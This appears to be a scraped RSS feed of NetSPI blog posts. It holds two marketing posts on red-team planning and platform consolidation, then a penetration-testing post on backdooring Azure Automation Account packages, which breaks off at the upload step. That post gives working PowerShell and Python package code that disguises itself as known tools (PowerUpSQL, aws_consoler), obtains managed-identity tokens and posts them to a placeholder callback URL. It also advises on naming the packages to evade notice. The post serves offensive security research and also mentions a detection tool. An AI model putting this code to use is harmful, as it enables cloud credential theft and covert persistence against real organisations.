<h2 class="wp-block-heading" id="h-embrace-realism-when-planning-for-red-teaming">Embrace Realism When Planning for Red Teaming</h2>



<p>Being realistic about your organisation’s security maturity and your team&#8217;s mindset of continuous improvement through blue and red team testing will bring the most beneficial enhancements to your security.</p>



<p>On the practitioner side at NetSPI, we engage in extensive preliminary planning to ensure the success of our red team engagements. These tests are highly involved, and we always want to be realistic about the level of effort that goes into a red team versus a quarterly or annual pentest for example.</p>



<p>Red teaming has a greater level of tactical and cultural components, such as ensuring you’re landing in environments that reflect the organization as realistically as possible, and working internally to get the right executive buy-in both from a timing and funding standpoint.</p>



<p>For instance, if someone delivers a red team from a fresh user account, without all of the long-standing hygiene issues your organisation may face, have you really validated something that reflects reality?</p>



<p>Now is the time to critically think about whether your company is ready for red teaming. You don&#8217;t need to face this decision alone. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Contact NetSPI</a>’s security experts for guidance on the most valuable security test for where you stand today.</p>



<h2 class="wp-block-heading" id="h-defining-clear-rules-and-objectives-of-red-team-exercises">Defining Clear Rules and Objectives of Red Team Exercises</h2>



<p>Red team testing is quite involved and requires clear, comprehensive, and proactive communication well before the test starts to avoid common blockers.&nbsp;</p>



<p><strong>A few discussion points to align with your vendor include:</strong>&nbsp;</p>



<ol start="1" class="wp-block-list">
<li><strong>Engagment Basis:</strong> Give ample room for planning because a rushed test is a poor test. Make sure you fully know why you are doing it. Pro tip: Yearly compliance isn&#8217;t the answer to this question, and neither is running the test at the same time each year.&nbsp;</li>



<li><strong>Objectives:</strong> Don&#8217;t just default to &#8216;highest privilege possible.&#8217; Think about what matters to your business and how you want to assess it.&nbsp;</li>



<li><strong>Isolation:</strong> Make sure those who know about the test can protect its integrity. If the security team knows a red team is coming, it will always alter their behaviour. How do you know if you face a real risk if red teams cannot expose this safely?&nbsp;</li>



<li><strong>Data Security: </strong>Make sure your provider complies with the laws and regulations you do, such as the General Data Protection Regulation (GDPR), or DORA guidelines on supply chain. Remember, your pentest and red team providers hold your most precious data, and they’re a supplier as much as your SaaS, SIEM, SOAR, or managed service providers.&nbsp;</li>
</ol>



<h2 class="wp-block-heading" id="h-why-data-security">Why Data Security?</h2>



<p>Data security is a growing concern because of the increased attention on <a href="https://www.netspi.com/blog/executive-blog/security-industry-trends/risks-of-software-supply-chain-2023/" target="_blank" rel="noreferrer noopener">supply chain risk</a>. Any red team vendor should be able to speak clearly to their data processing protocols and whether they follow standard compliance policies.</p>



<p>At NetSPI, we&#8217;ve seen an increase in customer requests regarding vendor due diligence for <a href="https://www.netspi.com/trust/" target="_blank" rel="noreferrer noopener">secure data management</a>. We’re ahead of the trend in this regard, because we’ve taken steps to address the real risk of the supply chain today. Ultimately, a red team is also a supplier, and our security is a key consideration for companies seeking quality red team services.</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/proactive-security-emea/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="293" src="https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA-1024x293.webp" alt="Read the latest research and news from our local EMEA team. See what we're up to!" class="wp-image-25153" srcset="https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA-1024x293.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA-300x86.webp 300w, https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA-768x220.webp 768w, https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA-1536x440.webp 1536w, https://www.netspi.com/wp-content/uploads/2024/05/EMEA-CTA.webp 1920w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-plan-for-appropriate-red-team-testing-lead-times">Plan for Appropriate Red Team Testing Lead Times</h2>



<p>Bringing more transparency into adequate lead times benefits both red team testers like NetSPI and our customers.</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">The assumption tends to be that red teams are ready to go at a moment&#8217;s notice and require little setup. But the reality is that the logistics and organization on both sides of an engagement typically require at least a month to plan correctly. &nbsp;</p>
</blockquote>
</div></div></div></div></div>


<p>The level of care and attention that goes into creating a realistic attack scenario is far greater than red teams typically talk about. As a CISO, security manager, or blue team practitioner, clearly outlining the preparation required for red team testing will lead to a more efficient process and improved testing outcomes.&nbsp;</p>



<h2 class="wp-block-heading" id="h-business-considerations-before-red-team-testing-nbsp">Business Considerations before Red Team Testing&nbsp;</h2>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">Red teaming is a delicate balance of preparation and secrecy.</p>
</blockquote>
</div></div></div></div></div>


<p>All too often, we encounter blue teams that know when a red team exercise is happening because their company’s budget renews annually, so they can anticipate which quarter of the year they need to be on guard.&nbsp;&nbsp;</p>



<p>Timely involvement of the right people is key to protecting the operational integrity of red teaming. Executive buy-in and stakeholder awareness are essential to minimise the potential risk to a business during a red team test. Equipping your red team vendor with a thorough understanding of your market, organisation, how it operates, and what its security concerns might be, is critical to designing the right type of scenario.&nbsp;</p>



<p>Today, we’re seeing red teaming expand into sectors such as energy, healthcare, and manufacturing. With more critical industries relying on red teaming, practicing safe and appropriate use of force from a red team perspective is essential. Having open, honest conversations early on about a company&#8217;s known weaknesses and scoping bounds is an important part of forward planning in this process.&nbsp;</p>



<h2 class="wp-block-heading" id="h-ready-for-red-teaming-contact-netspi">Ready for Red Teaming? Contact NetSPI</h2>



<p>Red teaming is an involved testing type that brings highly beneficial insights into your company’s ability to detect and respond to the most realistic attack scenarios. Taking the time for proper planning and evaluation ahead of red team engagements will result in the most valuable outcomes and a strong working partnership between you and the red team testers.&nbsp;</p>



<p>Whether you’re ready for the next challenge, or you’re working on compliance with industry regulations, NetSPI is ready to guide the most impactful next step for your security. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Contact us</a> for a consultation with our security experts.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/red-teaming/part-1-ready-for-red-teaming/">Part 1: Ready for Red Teaming? Intelligence-Driven Planning for Effective Scenarios </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The Strategic Value of Platformization for Proactive Security</title>
		<link>https://www.netspi.com/blog/executive-blog/netspi-updates/strategic-value-of-platformization-for-proactive-security/</link>
		
		<dc:creator><![CDATA[Vinay Anand]]></dc:creator>
		<pubDate>Thu, 03 Oct 2024 14:00:00 +0000</pubDate>
				<category><![CDATA[NetSPI Updates]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25698</guid>

					<description><![CDATA[<p>Read about NetSPI’s latest Platform milestone, enabling continuous threat exposure management (CTEM) with consolidated proactive security solutions.</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/netspi-updates/strategic-value-of-platformization-for-proactive-security/">The Strategic Value of Platformization for Proactive Security</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Security leaders are dealing with tightening budgets while security risks that consistently challenge them continue to rapidly expand. &nbsp;Should they continue to persist with a collection of point products or step up to adopting a unified platform that not only addresses multiple use cases but offers force multipliers with advanced integration and context? The choice they make could have far-reaching impact not only on their budgets, but also on their ability to protect their assets. &nbsp; &nbsp;</p>



<p>A <a href="https://www.gartner.com/en/newsroom/press-releases/2022-09-12-gartner-survey-shows-seventy-five-percent-of-organizations-are-pursuing-security-vendor-consolidation-in-2022" target="_blank" rel="noreferrer noopener">2022 Gartner survey</a> showed that 75% of organizations are pursuing consolidation of their security vendors. The top benefit is reducing the complexity of their security stack and improving their risk posture.&nbsp;</p>



<h2 class="wp-block-heading" id="h-unlocking-netspi-s-platform-milestone-nbsp">Unlocking NetSPI&#8217;s Platform Milestone&nbsp;</h2>



<p>To meet the industry’s growing need for simplicity and effectiveness of security strategies, NetSPI consolidated the following key proactive security solutions on The NetSPI Platform: </p>



<ul class="wp-block-list">
<li><a href="https://www.netspi.com/attack-surface-management/" target="_blank" rel="noreferrer noopener">Attack surface management (ASM)</a>&nbsp;&nbsp;</li>



<li><a href="https://www.netspi.com/breach-and-attack-simulation/" target="_blank" rel="noreferrer noopener">Breach and attack simulation (BAS)</a>&nbsp;&nbsp;</li>



<li><a href="https://www.netspi.com/netspi-ptaas/" target="_blank" rel="noreferrer noopener">Penetration testing as a service (PTaaS)</a>&nbsp;&nbsp;</li>
</ul>



<p>Our customers now have the option to access all these solutions from a single user interface, bringing a new level of enrichment, highly actionable results, and real-time collaboration with<a href="https://www.netspi.com/meet-our-agents/" target="_blank" rel="noreferrer noopener"> The NetSPI Agents</a> as they work toward proactive security.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="The NetSPI Platform | PTaaS, ASM, and BAS All in One Technology" width="960" height="540" src="https://www.youtube.com/embed/fgKO7taOpqg?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<div style="height:40px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-benefits-of-security-platform-consolidation-nbsp-nbsp">Benefits of Security Platform Consolidation&nbsp;&nbsp;</h2>



<p>The top benefits of security platformization are reducing complexity and improving risk posture. Our decision to consolidate ASM, BAS, and PTaaS on The NetSPI Platform brings a few key benefits to our customers: &nbsp;&nbsp;</p>



<ul class="wp-block-list">
<li><strong>Single Source of Truth:</strong> Since all modules on<a href="https://www.netspi.com/the-netspi-platform/" target="_blank" rel="noreferrer noopener"> The NetSPI Platform</a> work on a unified common asset model, customers can see all assets and vulnerabilities, or findings, in one place.&nbsp;</li>



<li><strong>Enhanced Visibility and Intelligence:</strong> You can go beyond a pentest with BAS and ASM working in tandem.&nbsp;&nbsp;</li>



<li><strong>Comprehensive Data: </strong>You’ll acquire deeper insights into vulnerabilities, risk prioritization, and impact of exploitation. &nbsp;</li>



<li><strong>Cross Module Use Cases: </strong>You’ll have access to attack paths and narratives, robust asset inventory, expanded integrations, and workflow automation that span multiple modules. &nbsp;</li>
</ul>



<p>Our goal with this update is to provide a more holistic and unified view of an organization’s proactive security readiness.</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/contact/"><img loading="lazy" decoding="async" width="1024" height="538" src="https://www.netspi.com/wp-content/uploads/2024/04/Contact-Us_Social-1024x538.webp" alt="" class="wp-image-21772" srcset="https://www.netspi.com/wp-content/uploads/2024/04/Contact-Us_Social-1024x538.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/04/Contact-Us_Social-300x158.webp 300w, https://www.netspi.com/wp-content/uploads/2024/04/Contact-Us_Social-768x403.webp 768w, https://www.netspi.com/wp-content/uploads/2024/04/Contact-Us_Social.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-continuous-threat-exposure-management-ctem-as-the-framework-for-proactive-security-nbsp">Continuous Threat Exposure Management (CTEM) as the Framework for Proactive Security&nbsp;</h2>



<p>Another trend sparking conversations today is the increased attention on CTEM as an effective framework for continuous security testing.&nbsp;</p>



<p>CTEM is a proactive security framework that focuses on identifying, assessing, and mitigating risks within an organization&#8217;s digital environment.</p>


<div class="my-8 custom-quote-wrapper"><div class="condensed-section"><div class="relative"> <img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full top-0 m-0 left-0 lg:left-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-left.svg" aria-hidden="true"><img decoding="async" class="absolute max-w-[6rem] z-10 opacity-0 md:opacity-100 illustrations lg:max-w-[11rem] xl:max-w-full bottom-0 m-0 right-0 lg:right-8" src="https://www.netspi.com/wp-content/themes/netspi/assets/images/blockquote-right.svg" aria-hidden="true"><div class="relative bg-offWhite"><div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[44.5rem] mx-auto">
<blockquote class="custom-quote-class !py-5" class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="custom-paragraph">Gartner’s<a href="http://about:blank/" target="_blank" rel="noreferrer noopener"> Top Strategic Technology Trends for 2024</a> says, “by 2026, organizations prioritizing their security investments, based on a CTEM program, will realize a two-third reduction in breaches.”&nbsp;&nbsp;</p>
</blockquote>
</div></div></div></div></div>


<p>The five phases of CTEM are: scoping, discovery, prioritization, validation, and mobilization. It&#8217;s gaining traction as a framework to help teams shift from a point-in-time, reactive approach to security to a continuous, preventative one.&nbsp;&nbsp;</p>



<p>By combining proactive security solutions such as BAS, ASM and PTaaS, security teams can tailor their journey toward CTEM – all using The NetSPI Platform.</p>



<figure class="wp-block-image size-large"><a href="https://www.netspi.com/resources/ebooks-and-whitepapers/rein-in-attack-surface-sprawl-with-caasm/"><img loading="lazy" decoding="async" width="1024" height="256" src="https://www.netspi.com/wp-content/uploads/2024/10/CAASM-CTA-1024x256.webp" alt="" class="wp-image-25700" srcset="https://www.netspi.com/wp-content/uploads/2024/10/CAASM-CTA-1024x256.webp 1024w, https://www.netspi.com/wp-content/uploads/2024/10/CAASM-CTA-300x75.webp 300w, https://www.netspi.com/wp-content/uploads/2024/10/CAASM-CTA-768x192.webp 768w, https://www.netspi.com/wp-content/uploads/2024/10/CAASM-CTA.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>



<div style="height:20px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-looking-to-the-future-what-s-next-for-netspi-s-platform-nbsp-nbsp">Looking to the Future: What’s Next for NetSPI’s Platform&nbsp;&nbsp;</h2>



<p>In the coming months, we’ll expand the the NetSPI Platform’s solutions and functionality to enhance its value in a<a href="https://www.netspi.com/resources/solution-briefs/proactive-security-solution/" target="_blank" rel="noreferrer noopener"> proactive security journey</a>. &nbsp;&nbsp;</p>



<p>In the near term, customers will have access to<a href="https://www.netspi.com/caasm/" target="_blank" rel="noreferrer noopener"> cyber asset attack surface management (CAASM)</a> on NetSPI’s Platform, offering a unified view of their assets – both internal- and external-facing, along with their vulnerabilities and security control coverage. With this expansion, we’ll offer an enhanced and comprehensive view of exposure, and associated risk.&nbsp;</p>



<p>The NetSPI Platform is a monumental step forward in preparing the industry for effective CTEM programs. We can’t wait for you to see the expanded capabilities for yourself. <a href="https://www.netspi.com/contact/" target="_blank" rel="noreferrer noopener">Request a demo</a> to consult with our team on your path forward.&nbsp;</p>
<p>The post <a href="https://www.netspi.com/blog/executive-blog/netspi-updates/strategic-value-of-platformization-for-proactive-security/">The Strategic Value of Platformization for Proactive Security</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Backdooring Azure Automation Account Packages and Runtime Environments </title>
		<link>https://www.netspi.com/blog/technical-blog/cloud-pentesting/backdooring-azure-automation-account-packages-and-runtime-environments/</link>
		
		<dc:creator><![CDATA[Karl Fosaaen]]></dc:creator>
		<pubDate>Tue, 24 Sep 2024 14:00:00 +0000</pubDate>
				<category><![CDATA[Cloud Pentesting]]></category>
		<guid isPermaLink="false">https://www.netspi.com/?p=25550</guid>

					<description><![CDATA[<p>Azure Automation Accounts can allow an attacker to persist in the associated packages that support runbooks. Learn how attackers can maintain access to an Automation Account. </p>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/backdooring-azure-automation-account-packages-and-runtime-environments/">Backdooring Azure Automation Account Packages and Runtime Environments </a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Over the years, the Azure Automation Account service has grown and changed significantly. One of the more recent changes is the introduction of Runtime Environments to replace the more traditional module and package management functionality. Azure Automation Accounts have long been a focus of posts on the <a href="https://www.netspi.com/blog/technical-blog/" target="_blank" rel="noreferrer noopener">NetSPI Blog</a>, but we have not really focused on attacks against the modules or packages that support the accounts. The Automation Account service allows you to specify your own custom modules and packages to use in your runbooks, which can be back-doored to allow an attacker persistent access to the Automation Account.&nbsp;&nbsp;</p>



<p><em>Additional Resources:</em> </p>



<ul class="wp-block-list">
<li><a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/maintaining-azure-persistence-via-automation-accounts/" target="_blank" rel="noreferrer noopener"><em>Maintaining Azure Persistence via Automation Accounts</em></a> </li>



<li><a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-automation-accounts-key-stores/" target="_blank" rel="noreferrer noopener"><em>Using Azure Automation Account to Access Key Vaults</em></a></li>



<li><a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-automation-account-connections/" target="_blank" rel="noreferrer noopener"><em>Pivoting with Azure Automation Account Connections</em></a> </li>
</ul>



<p>Prior to the introduction of Runtime Environments, all of the PowerShell modules and Python Packages have been managed in the Portal under the “Modules” and “Python packages” menus. At the time of writing, it is still the standard package management option, so you may not have the Runtime Environments preview enabled yet. These menus allow Automation Account admins to add additional functionality to their PowerShell and Python runbook environments. As a point of terminology, we will use the terms “packages” and “modules” interchangeably throughout the rest of the blog.&nbsp;</p>



<h2 class="wp-block-heading" id="h-tl-dr-nbsp">TL;DR&nbsp;</h2>



<ul class="wp-block-list">
<li>Azure Automation Accounts allow custom PowerShell modules and Python packages&nbsp;
<ul class="wp-block-list">
<li>PowerShell Gallery modules are also supported&nbsp;</li>
</ul>
</li>



<li>Malicious packages can be uploaded to an Automation Account by attackers&nbsp;
<ul class="wp-block-list">
<li>The packages can then be called in runbooks for persistence&nbsp;</li>



<li>We’ve included steps below to replicate the process&nbsp;</li>
</ul>
</li>



<li>We’ve created a tool (Get-AzAutomationCustomModules) to help list custom modules/packages that are used in a subscription</li>
</ul>



<h2 class="wp-block-heading" id="h-what-are-runtime-environments-nbsp"><strong>What are Runtime Environments?</strong>&nbsp;</h2>



<p>The <a href="https://learn.microsoft.com/en-us/azure/automation/runtime-environment-overview" target="_blank" rel="noreferrer noopener">Runtime Environments feature</a> (currently in preview) allows users to set up custom execution environments for Automation Account Runbooks. This allows users to configure specific packages that can be used for an Automation Account container. This gives greater flexibility for an Automation Account, without creating package bloat on the base containers.</p>



<div class="wp-block-uagb-image alignleft uagb-block-b7f28ac3 wp-block-uagb-image--layout-default wp-block-uagb-image--effect-static wp-block-uagb-image--align-left"><figure class="wp-block-uagb-image__figure"><img decoding="async" srcset="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments1.png ,https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments1.png 780w, https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments1.png 360w" sizes="(max-width: 480px) 150px" src="https://www.netspi.com/wp-content/uploads/2024/09/Backdooring-Azure-Automation-Account-Runtime-Environments1.png" alt="" class="uag-image-25552" width="1157" height="156" title="Backdooring Azure Automation Account Runtime Environments1" loading="lazy" role="img"/></figure></div>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>It should be noted that in the new Runtime Environments system, the base “System-generated Runtime environments” cannot be modified in the portal to include additional packages. However, if you switch back to the old experience, you can add packages that will then carry over to the new System-generated environments when you switch to the Runtime Environments feature.&nbsp;&nbsp;</p>



<p>It’s an interesting quirk, but once the feature becomes standard, it’s unlikely that you will be able to change these base environments. If this does become the standard going forward, an attacker would need create a new runtime, inject a malicious package into it, and swap the environment over for the target runbook. Alternatively, they could just create a new runbook and assign a new Runtime Environment to it.&nbsp;</p>



<h2 class="wp-block-heading" id="h-creating-a-malicious-package-powershell-nbsp">Creating a Malicious Package &#8211; PowerShell&nbsp;</h2>



<p>In order to attack the Automation Account, we will need to create a malicious package. Keep in mind that the package name will be very visible in the Runtime Environment menu, so it may make sense to “borrow” a package name from a known package. You could just take an existing package file, modify it, and upload it, but for our proof of concept examples, we will show how to create your own custom packages.&nbsp;&nbsp;</p>



<p>In both custom package examples, we will create functions that will generate a Managed Identity token for the Automation Account, and exfiltrate the token via HTTP to a callback URL (YOUR_URL_HERE). Overwrite the hardcoded URL in the example files to use this yourself.&nbsp;</p>



<p>Note that all of the example files are available under the “Misc/Packages” folder in the <a href="https://github.com/NetSPI/MicroBurst" target="_blank" rel="noreferrer noopener">MicroBurst repository</a>.&nbsp;</p>



<p>In this PowerShell proof of concept, we’ll borrow the <a href="https://github.com/NetSPI/PowerUpSQL" target="_blank" rel="noreferrer noopener">PowerUpSQL</a> name for our module. For starters, we will create a basic PowerShell package. The most basic PowerShell package consists of two files, a psd1 that outlines the module and a psm1 that contains the code.</p>



<h2 class="wp-block-heading" id="h-powerupsql-psd1">PowerUpSQL.psd1</h2>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">@{ 

# Script module or binary module file associated with this manifest. 
RootModule = 'PowerUpSQL.psm1' 

# Version number of this module. 
ModuleVersion = '1.105.0' 

# ID used to uniquely identify this module 
GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' 

# Author of this module 
Author = 'Scott Sutherland' 

# Company or vendor of this module 
CompanyName = 'NetSPI' 

# Copyright statement for this module 
Copyright = '(c) 2024 NetSPI. All rights reserved.' 

# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 
FunctionsToExport = '*' 

# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. 
CmdletsToExport = '*' 

# Variables to export from this module 
VariablesToExport = '*' 

# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 
AliasesToExport = '*' 

} </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-powerupsql-psm1-nbsp">PowerUpSQL.psm1&nbsp;</h2>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">function a { 
param( 
    [string] $callbackURL = "https://YOUR_URL_HERE/" 
    ) 

# Hide the warning output 
$SuppressAzurePowerShellBreakingChangeWarnings = $true 

# Connect as the System-Assigned Managed Identity 
Connect-AzAccount -Identity | Out-Null 

# Get a token 
$token = Get-AzAccessToken | ConvertTo-Json 

# Send the token to the callback URL 
Invoke-RestMethod -Uri $callbackURL -Method Post -Body $token | Out-Null 

} 

Export-ModuleMember -Function a </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>In this example, we’ve just named our function “a”, but you can name it whatever you want. A single letter might get overlooked, but using something that looks legitimate (Example: Get-AzAutomationAccountUpdates) may also work better.&nbsp;</p>



<p>The Automation Account will be looking for a zip file, so zip the two files together and name it after your module. Regardless of what is in the psd1 file, the portal will show the module name as whatever the zip file name was, so keep that in mind.</p>



<h2 class="wp-block-heading" id="h-creating-a-malicious-package-python-nbsp">Creating a Malicious Package &#8211; Python&nbsp;</h2>



<p>For the Python package, we will need the following files in a directory:&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">your_project/ 
├── your_module/ 
│   ├── __init__.py 
│   └── other_module_files.py 
├── README.md 
├── LICENSE 
├── setup.py </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>For our Python proof of concept, we’ll use <a href="https://github.com/NetSPI/aws_consoler/tree/master" target="_blank" rel="noreferrer noopener">aws_consoler</a> (<a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/gaining-aws-console-access-via-api-keys/">another NetSPI tool</a>) as the module target, so our folder will be aws_consoler and the module file will be aws_consoler.py. Please keep in mind that you may have to change specific fields (python_requires) below depending on your use case.</p>



<h2 class="wp-block-heading" id="h-setup-py">setup.py</h2>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">import setuptools 

with open("README.md", "r") as fh: 
    long_description = fh.read() 

setuptools.setup( 
    name="aws_consoler", 
    version="1.1.0", 
    author="Ian Williams", 
    author_email="ian.williams@netspi.com", 
    description="A utility to convert your AWS CLI credentials into AWS " 
                "console access.", 
    long_description=long_description, 
    long_description_content_type="text/markdown", 
    packages=setuptools.find_packages(), 
    classifiers=[ 
        'Development Status :: 2 - Pre-Alpha', 
        'Intended Audience :: Developers', 
        'License :: OSI Approved :: BSD License', 
        'Natural Language :: English', 
        'Programming Language :: Python :: 3.8', 
    ], 
    python_requires='>=3.8', 
) </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-init-py-nbsp">__init__.py&nbsp;</h2>



<p>Although we’re not using a function for this example, this file needs to try to import any functions that it can from our malicious Python file:&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">from .aws_consoler import * </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-aws-consoler-py-nbsp">aws_consoler.py&nbsp;</h2>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">import os 
import requests 
import json 

endpoint_url = "https:// YOUR_URL_HERE" 
identity_endpoint = os.getenv('IDENTITY_ENDPOINT') 
if not identity_endpoint: 
    raise ValueError("IDENTITY_ENDPOINT environment variable not set.") 

# Fetch the token 
params = { 
    'api-version': '2018-02-01', 
    'resource': 'https://management.azure.com/' 
} 
headers = { 
    'Metadata': 'true' 
} 

try: 
    response = requests.get(identity_endpoint, params=params, headers=headers) 
    response.raise_for_status() 
    token = response.json() 

    # Send the token to the specified endpoint 
    post_headers = { 
        'Content-Type': 'application/json' 
    } 
    data = { 
        'token': token 
    } 

    post_response = requests.post(endpoint_url, headers=post_headers, data=json.dumps(data)) 
    post_response.raise_for_status() 

    #return post_response.json() 
except requests.exceptions.RequestException as e: 
    print("An exception occurred") </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<p>In order to be uploaded to the Python Runtime Environment, we will need to compile these files into a WHL file. This can be done in python with the following command:&nbsp;</p>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="dracula" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">python3 setup.py bdist_wheel </pre>



<div style="height:30px" aria-hidden="true" class="wp-block-spacer"></div>



<h2 class="wp-block-heading" id="h-uploading-a-malicious-package-nbsp"><strong>Uploading a Malicious Package</strong>&nbsp;</h2>



<p>Now that we have our zipped/compiled packages, we will first show how the current (old) style of module/package upload works. There are two menus that cover this functionality – Modules and Python packages:&nbsp;</p>



